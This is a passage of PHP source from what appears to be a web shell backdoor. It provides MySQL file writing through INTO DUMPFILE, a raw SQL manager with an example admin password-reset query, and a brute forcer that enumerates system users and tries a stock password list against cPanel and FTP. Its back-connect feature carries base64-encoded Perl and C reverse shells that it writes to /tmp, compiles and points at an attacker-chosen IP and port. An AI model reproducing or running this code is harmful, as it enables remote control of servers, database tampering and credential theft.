  697.     p('</form></table>');
  698. }// end dir
  699.  
  700. elseif ($action == 'sqlfile') {
  701.     if($doing=="mysqlupload"){
  702.         $file = $_FILES['uploadfile'];
  703.         $filename = $file['tmp_name'];
  704.         if (file_exists($savepath)) {
  705.             m('The goal file has already existed');
  706.         } else {
  707.             if(!$filename) {
  708.                 m('Please choose a file');
  709.             } else {
  710.                 $fp=@fopen($filename,'r');
  711.                 $contents=@fread($fp, filesize($filename));
  712.                 @fclose($fp);
  713.                 $contents = bin2hex($contents);
  714.                 if(!$upname) $upname = $file['name'];
  715.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  716.                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  717.                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  718.             }
  719.         }
  720.     }
  721. ?>
  722. <script type="text/javascript">
  723. function mysqlfile(doing){
  724.     if(!doing) return;
  725.     $('doing').value=doing;
  726.     $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  727.     $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  728.     $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  729.     $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  730.     $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  731.     $('mysqlfile').charset.value=$('dbinfo').charset.value;
  732.     $('mysqlfile').submit();
  733. }
  734. </script>
  735. <?php
  736.     !$dbhost && $dbhost = 'localhost';
  737.     !$dbuser && $dbuser = 'root';
  738.     !$dbport && $dbport = '3306';
  739.     $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  740.     formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  741.     makehide('action','sqlfile');
  742.     p('<p>');
  743.     p('DBHost:');
  744.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  745.     p(':');
  746.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  747.     p('DBUser:');
  748.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  749.     p('DBPass:');
  750.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  751.     p('DBName:');
  752.     makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  753.     p('DBCharset:');
  754.     makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  755.     p('</p>');
  756.     formfoot();
  757.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  758.     p('<h2>Upload file</h2>');
  759.     p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  760.     p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  761.     p('<h2>Download file</h2>');
  762.     p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  763.     makehide('dbhost');
  764.     makehide('dbport');
  765.     makehide('dbuser');
  766.     makehide('dbpass');
  767.     makehide('dbname');
  768.     makehide('charset');
  769.     makehide('doing');
  770.     makehide('action','sqlfile');
  771.     p('</form>');
  772. }
  773.  
  774. elseif ($action == 'sqladmin') {
  775.     !$dbhost && $dbhost = 'localhost';
  776.     !$dbuser && $dbuser = 'root';
  777.     !$dbport && $dbport = '3306';
  778.     $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  779.     if(isset($dbhost)){
  780.         $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  781.     }
  782.     if(isset($dbuser)) {
  783.         $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  784.     }
  785.     if(isset($dbpass)) {
  786.         $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  787.     }
  788.     if(isset($dbport)) {
  789.         $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  790.     }
  791.     if(isset($dbname)) {
  792.         $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  793.     }
  794.     if(isset($charset)) {
  795.         $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  796.     }
  797.  
  798.     if ($doing == 'backupmysql' && $saveasfile) {
  799.         if (!$table) {
  800.             m('Please choose the table');
  801.         } else {
  802.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  803.             $table = array_flip($table);
  804.             $fp = @fopen($path,'w');
  805.             if ($fp) {
  806.                 $result = q('SHOW tables');
  807.                 if (!$result) p('<h2>'.mysql_error().'</h2>');
  808.                 $mysqldata = '';
  809.                 while ($currow = mysql_fetch_array($result)) {
  810.                     if (isset($table[$currow[0]])) {
  811.                         sqldumptable($currow[0], $fp);
  812.                     }
  813.                 }
  814.                 fclose($fp);
  815.                 $fileurl = str_replace(SA_ROOT,'',$path);
  816.                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  817.                 mysql_close();
  818.             } else {
  819.                 m('Backup failed');
  820.             }
  821.         }
  822.     }
  823.     if ($insert && $insertsql) {
  824.         $keystr = $valstr = $tmp = '';
  825.         foreach($insertsql as $key => $val) {
  826.             if ($val) {
  827.                 $keystr .= $tmp.$key;
  828.                 $valstr .= $tmp."'".addslashes($val)."'";
  829.                 $tmp = ',';
  830.             }
  831.         }
  832.         if ($keystr && $valstr) {
  833.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  834.             m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  835.         }
  836.     }
  837.     if ($update && $insertsql && $base64) {
  838.         $valstr = $tmp = '';
  839.         foreach($insertsql as $key => $val) {
  840.             $valstr .= $tmp.$key."='".addslashes($val)."'";
  841.             $tmp = ',';
  842.         }
  843.         if ($valstr) {
  844.             $where = base64_decode($base64);
  845.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  846.             m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  847.         }
  848.     }
  849.     if ($doing == 'del' && $base64) {
  850.         $where = base64_decode($base64);
  851.         $delete_sql = "DELETE FROM $tablename WHERE $where";
  852.         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  853.         m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  854.     }
  855.  
  856.     if ($tablename && $doing == 'drop') {
  857.         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  858.         if (q("DROP TABLE $tablename")) {
  859.             m('Drop table of success');
  860.             $tablename = '';
  861.         } else {
  862.             m(mysql_error());
  863.         }
  864.     }
  865.  
  866.     $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  867.  
  868.     formhead(array('title'=>'MYSQL Manager'));
  869.     makehide('action','sqladmin');
  870.     p('<p>');
  871.     p('DBHost:');
  872.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  873.     p(':');
  874.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  875.     p('DBUser:');
  876.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  877.     p('DBPass:');
  878.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  879.     p('DBCharset:');
  880.     makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  881.     makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  882.     p('</p>');
  883.     formfoot();
  884. ?>
  885. <script type="text/javascript">
  886. function editrecord(action, base64, tablename){
  887.     if (action == 'del') {
  888.         if (!confirm('Is or isn\'t deletion record?')) return;
  889.     }
  890.     $('recordlist').doing.value=action;
  891.     $('recordlist').base64.value=base64;
  892.     $('recordlist').tablename.value=tablename;
  893.     $('recordlist').submit();
  894. }
  895. function moddbname(dbname) {
  896.     if(!dbname) return;
  897.     $('setdbname').dbname.value=dbname;
  898.     $('setdbname').submit();
  899. }
  900. function settable(tablename,doing,page) {
  901.     if(!tablename) return;
  902.     if (doing) {
  903.         $('settable').doing.value=doing;
  904.     }
  905.     if (page) {
  906.         $('settable').page.value=page;
  907.     }
  908.     $('settable').tablename.value=tablename;
  909.     $('settable').submit();
  910. }
  911. </script>
  912. <?php
  913.     // SQL
  914.     formhead(array('name'=>'recordlist'));
  915.     makehide('doing');
  916.     makehide('action','sqladmin');
  917.     makehide('base64');
  918.     makehide('tablename');
  919.     p($dbform);
  920.     formfoot();
  921.  
  922.     // Data
  923.     formhead(array('name'=>'setdbname'));
  924.     makehide('action','sqladmin');
  925.     p($dbform);
  926.     if (!$dbname) {
  927.         makehide('dbname');
  928.     }
  929.     formfoot();
  930.  
  931.  
  932.     formhead(array('name'=>'settable'));
  933.     makehide('action','sqladmin');
  934.     p($dbform);
  935.     makehide('tablename');
  936.     makehide('page',$page);
  937.     makehide('doing');
  938.     formfoot();
  939.  
  940.     $cachetables = array();
  941.     $pagenum = 30;
  942.     $page = intval($page);
  943.     if($page) {
  944.         $start_limit = ($page - 1) * $pagenum;
  945.     } else {
  946.         $start_limit = 0;
  947.         $page = 1;
  948.     }
  949.     if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  950.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  951.         // get mysql server
  952.         $mysqlver = mysql_get_server_info();
  953.         p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  954.         $highver = $mysqlver > '4.1' ? 1 : 0;
  955.  
  956.         // Show database
  957.         $query = q("SHOW DATABASES");
  958.         $dbs = array();
  959.         $dbs[] = '-- Select a database --';
  960.         while($db = mysql_fetch_array($query)) {
  961.             $dbs[$db['Database']] = $db['Database'];
  962.         }
  963.         makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  964.         $tabledb = array();
  965.         if ($dbname) {
  966.             p('<p>');
  967.             p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  968.             if ($tablename) {
  969.                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  970.             }
  971.             p('</p>');
  972.             mysql_select_db($dbname);
  973.  
  974.             $getnumsql = '';
  975.             $runquery = 0;
  976.             if ($sql_query) {
  977.                 $runquery = 1;
  978.             }
  979.             $allowedit = 0;
  980.             if ($tablename && !$sql_query) {
  981.                 $sql_query = "SELECT * FROM $tablename";
  982.                 $getnumsql = $sql_query;
  983.                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  984.                 $allowedit = 1;
  985.             }
  986.             p('<form action="'.$self.'" method="POST">');
  987.             p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  988.             </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  989.             makehide('tablename', $tablename);
  990.             makehide('action','sqladmin');
  991.             p($dbform);
  992.             p('</form>');
  993.             if ($tablename || ($runquery && $sql_query)) {
  994.                 if ($doing == 'structure') {
  995.                     $result = q("SHOW COLUMNS FROM $tablename");
  996.                     $rowdb = array();
  997.                     while($row = mysql_fetch_array($result)) {
  998.                         $rowdb[] = $row;
  999.                     }
  1000.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1001.                     p('<tr class="head">');
  1002.                     p('<td>Field</td>');
  1003.                     p('<td>Type</td>');
  1004.                     p('<td>Null</td>');
  1005.                     p('<td>Key</td>');
  1006.                     p('<td>Default</td>');
  1007.                     p('<td>Extra</td>');
  1008.                     p('</tr>');
  1009.                     foreach ($rowdb as $row) {
  1010.                         $thisbg = bg();
  1011.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1012.                         p('<td>'.$row['Field'].'</td>');
  1013.                         p('<td>'.$row['Type'].'</td>');
  1014.                         p('<td>'.$row['Null'].'&nbsp;</td>');
  1015.                         p('<td>'.$row['Key'].'&nbsp;</td>');
  1016.                         p('<td>'.$row['Default'].'&nbsp;</td>');
  1017.                         p('<td>'.$row['Extra'].'&nbsp;</td>');
  1018.                         p('</tr>');
  1019.                     }
  1020.                     tbfoot();
  1021.                 } elseif ($doing == 'insert' || $doing == 'edit') {
  1022.                     $result = q('SHOW COLUMNS FROM '.$tablename);
  1023.                     while ($row = mysql_fetch_array($result)) {
  1024.                         $rowdb[] = $row;
  1025.                     }
  1026.                     $rs = array();
  1027.                     if ($doing == 'insert') {
  1028.                         p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  1029.                     } else {
  1030.                         p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  1031.                         $where = base64_decode($base64);
  1032.                         $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1033.                         $rs = mysql_fetch_array($result);
  1034.                     }
  1035.                     p('<form method="post" action="'.$self.'">');
  1036.                     p($dbform);
  1037.                     makehide('action','sqladmin');
  1038.                     makehide('tablename',$tablename);
  1039.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1040.                     foreach ($rowdb as $row) {
  1041.                         if ($rs[$row['Field']]) {
  1042.                             $value = htmlspecialchars($rs[$row['Field']]);
  1043.                         } else {
  1044.                             $value = '';
  1045.                         }
  1046.                         $thisbg = bg();
  1047.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1048.                         p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1049.                     }
  1050.                     if ($doing == 'insert') {
  1051.                         p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1052.                     } else {
  1053.                         p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1054.                         makehide('base64', $base64);
  1055.                     }
  1056.                     p('</table></form>');
  1057.                 } else {
  1058.                     $querys = @explode(';',$sql_query);
  1059.                     foreach($querys as $num=>$query) {
  1060.                         if ($query) {
  1061.                             p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1062.                             switch(qy($query))
  1063.                             {
  1064.                                 case 0:
  1065.                                     p('<h2>Error : '.mysql_error().'</h2>');
  1066.                                     break;
  1067.                                 case 1:
  1068.                                     if (strtolower(substr($query,0,13)) == 'select * from') {
  1069.                                         $allowedit = 1;
  1070.                                     }
  1071.                                     if ($getnumsql) {
  1072.                                         $tatol = mysql_num_rows(q($getnumsql));
  1073.                                         $multipage = multi($tatol, $pagenum, $page, $tablename);
  1074.                                     }
  1075.                                     if (!$tablename) {
  1076.                                         $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1077.                                         $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1078.                                         preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1079.                                         $tablename = $matches[1][0];
  1080.                                     }
  1081.                                     $result = q($query);
  1082.                                     p($multipage);
  1083.                                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1084.                                     p('<tr class="head">');
  1085.                                     if ($allowedit) p('<td>Action</td>');
  1086.                                     $fieldnum = @mysql_num_fields($result);
  1087.                                     for($i=0;$i<$fieldnum;$i++){
  1088.                                         $name = @mysql_field_name($result, $i);
  1089.                                         $type = @mysql_field_type($result, $i);
  1090.                                         $len = @mysql_field_len($result, $i);
  1091.                                         p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1092.                                     }
  1093.                                     p('</tr>');
  1094.                                     while($mn = @mysql_fetch_assoc($result)){
  1095.                                         $thisbg = bg();
  1096.                                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1097.                                         $where = $tmp = $b1 = '';
  1098.                                         foreach($mn as $key=>$inside){
  1099.                                             if ($inside) {
  1100.                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1101.                                                 $tmp = ' AND ';
  1102.                                             }
  1103.                                             $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1104.                                         }
  1105.                                         $where = base64_encode($where);
  1106.                                         if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1107.                                         p($b1);
  1108.                                         p('</tr>');
  1109.                                         unset($b1);
  1110.                                     }
  1111.                                     tbfoot();
  1112.                                     p($multipage);
  1113.                                     break;
  1114.                                 case 2:
  1115.                                     $ar = mysql_affected_rows();
  1116.                                     p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1117.                                     break;
  1118.                             }
  1119.                         }
  1120.                     }
  1121.                 }
  1122.             } else {
  1123.                 $query = q("SHOW TABLE STATUS");
  1124.                 $table_num = $table_rows = $data_size = 0;
  1125.                 $tabledb = array();
  1126.                 while($table = mysql_fetch_array($query)) {
  1127.                     $data_size = $data_size + $table['Data_length'];
  1128.                     $table_rows = $table_rows + $table['Rows'];
  1129.                     $table['Data_length'] = sizecount($table['Data_length']);
  1130.                     $table_num++;
  1131.                     $tabledb[] = $table;
  1132.                 }
  1133.                 $data_size = sizecount($data_size);
  1134.                 unset($table);
  1135.                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1136.                 p('<form action="'.$self.'" method="POST">');
  1137.                 makehide('action','sqladmin');
  1138.                 p($dbform);
  1139.                 p('<tr class="head">');
  1140.                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1141.                 p('<td>Name</td>');
  1142.                 p('<td>Rows</td>');
  1143.                 p('<td>Data_length</td>');
  1144.                 p('<td>Create_time</td>');
  1145.                 p('<td>Update_time</td>');
  1146.                 if ($highver) {
  1147.                     p('<td>Engine</td>');
  1148.                     p('<td>Collation</td>');
  1149.                 }
  1150.                 p('</tr>');
  1151.                 foreach ($tabledb as $key => $table) {
  1152.                     $thisbg = bg();
  1153.                     p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1154.                     p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1155.                     p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1156.                     p('<td>'.$table['Rows'].'</td>');
  1157.                     p('<td>'.$table['Data_length'].'</td>');
  1158.                     p('<td>'.$table['Create_time'].'</td>');
  1159.                     p('<td>'.$table['Update_time'].'</td>');
  1160.                     if ($highver) {
  1161.                         p('<td>'.$table['Engine'].'</td>');
  1162.                         p('<td>'.$table['Collation'].'</td>');
  1163.                     }
  1164.                     p('</tr>');
  1165.                 }
  1166.                 p('<tr class=fout>');
  1167.                 p('<td>&nbsp;</td>');
  1168.                 p('<td>Total tables: '.$table_num.'</td>');
  1169.                 p('<td>'.$table_rows.'</td>');
  1170.                 p('<td>'.$data_size.'</td>');
  1171.                 p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1172.                 p('</tr>');
  1173.  
  1174.                 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1175.                 makehide('doing','backupmysql');
  1176.                 formfoot();
  1177.                 p("</table>");
  1178.                 fr($query);
  1179.             }
  1180.         }
  1181.     }
  1182.     tbfoot();
  1183.     @mysql_close();
  1184. }//end sql backup
  1185.  
  1186.  
  1187. elseif ($action == 'backconnect') {
  1188.     !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1189.     !$yourport && $yourport = '12345';
  1190.     $usedb = array('perl'=>'perl','c'=>'c');
  1191.  
  1192.     $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1193.         "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1194.         "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1195.         "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1196.         "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1197.         "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1198.         "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1199.     $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1200.         "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1201.         "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1202.         "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1203.         "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1204.         "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1205.         "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1206.         "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1207.  
  1208.     if ($start && $yourip && $yourport && $use){
  1209.         if ($use == 'perl') {
  1210.             cf('/tmp/angel_bc',$back_connect);
  1211.             $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1212.         } else {
  1213.             cf('/tmp/angel_bc.c',$back_connect_c);
  1214.             $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1215.             @unlink('/tmp/angel_bc.c');
  1216.             $res = execute("/tmp/angel_bc $yourip $yourport &");
  1217.         }
  1218.         m("Now script try connect to $yourip port $yourport ...");
  1219.     }
  1220.  
  1221.     formhead(array('title'=>'Back Connect'));
  1222.     makehide('action','backconnect');
  1223.     p('<p>');
  1224.     p('Your IP:');
  1225.     makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1226.     p('Your Port:');
  1227.     makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1228.     p('Use:');
  1229.     makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1230.     makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1231.     p('</p>');
  1232.     formfoot();
  1233. }//end backconnect window via NC
  1234.  
  1235. // Brute
  1236. elseif ($action == 'brute') {
  1237. formhead(array('title'=>'Brute Forcer'));
  1238.     makehide('action','brute');
  1239.     makehide('dir',$brute);
  1240. @ini_set('memory_limit', 1000000000000);
  1241. $connect_timeout=5;
  1242. @set_time_limit(0);
  1243. $submit = $_REQUEST['submit'];
  1244. $users = $_REQUEST['users'];
  1245. $pass = $_REQUEST['passwords'];
  1246. $target = $_REQUEST['target'];
  1247. $option = $_REQUEST['option'];
  1248.  
  1249.  
  1250. $passlist = "0123456
  1251. 01234567
  1252. 012345678
  1253. 0123456789
  1254. 01234567890
  1255. 123456
  1256. 1234567
  1257. 12345678
  1258. 123456789
  1259. 1234567890
  1260. 111111
  1261. 000000
  1262. 222222
  1263. 333333
  1264. 444444
  1265. 555555
  1266. 666666
  1267. 777777
  1268. 888888
  1269. 999999
  1270. 123123
  1271. 456456
  1272. 789789
  1273. 123321
  1274. 456654
  1275. 654321
  1276. 7654321
  1277. 87654321
  1278. 987654321
  1279. 0987654321
  1280. admin
  1281. administrator
  1282. admincp
  1283. cpanel
  1284. adminx
  1285. admins
  1286. password
  1287. passwords
  1288. passw0rd
  1289. p@ssw0rd
  1290. p@ssword
  1291. khongco
  1292. 25251325
  1293. passw0rds";
  1294. if($target == ''){
  1295. $target = 'localhost';
  1296. }
  1297. print " <div align='center'>
  1298. <form method='post' style='border: 1px solid #000000'><br><br>
  1299. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  1300. <b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  1301. <div align='center'><br>
  1302. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  1303. <tr>
  1304. <td align='center'>
  1305. <b>Username</b></td>
  1306. <td>
  1307. <p align='center'>
  1308. <b>Password</b></td>
  1309. </tr>
  1310. </table>
  1311. <p align='center'>
  1312. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  1313. $i = 0;
  1314. while ($i < 60000) {
  1315.  
  1316.     $line = posix_getpwuid($i);
  1317.     if (!empty($line)) {
  1318.  
  1319.         while (list ($key, $vba_etcpwd) = each($line)){
  1320.             echo "".$vba_etcpwd."\n";
  1321.             break;
  1322.         }
  1323.  
  1324.     }
  1325.  
  1326.    $i++;
  1327. }
  1328. echo "
  1329. </textarea>
  1330. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  1331. <br>
  1332. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  1333. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  1334. </td></tr></table></td></tr></form><p align= 'left'>";
  1335. ?>
  1336. <?php
  1337. function ftp_check($host,$user,$pass,$timeout){
  1338. $ch = curl_init();
  1339. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  1340. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1341. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1342. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1343. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1344. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1345. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1346. $data = curl_exec($ch);
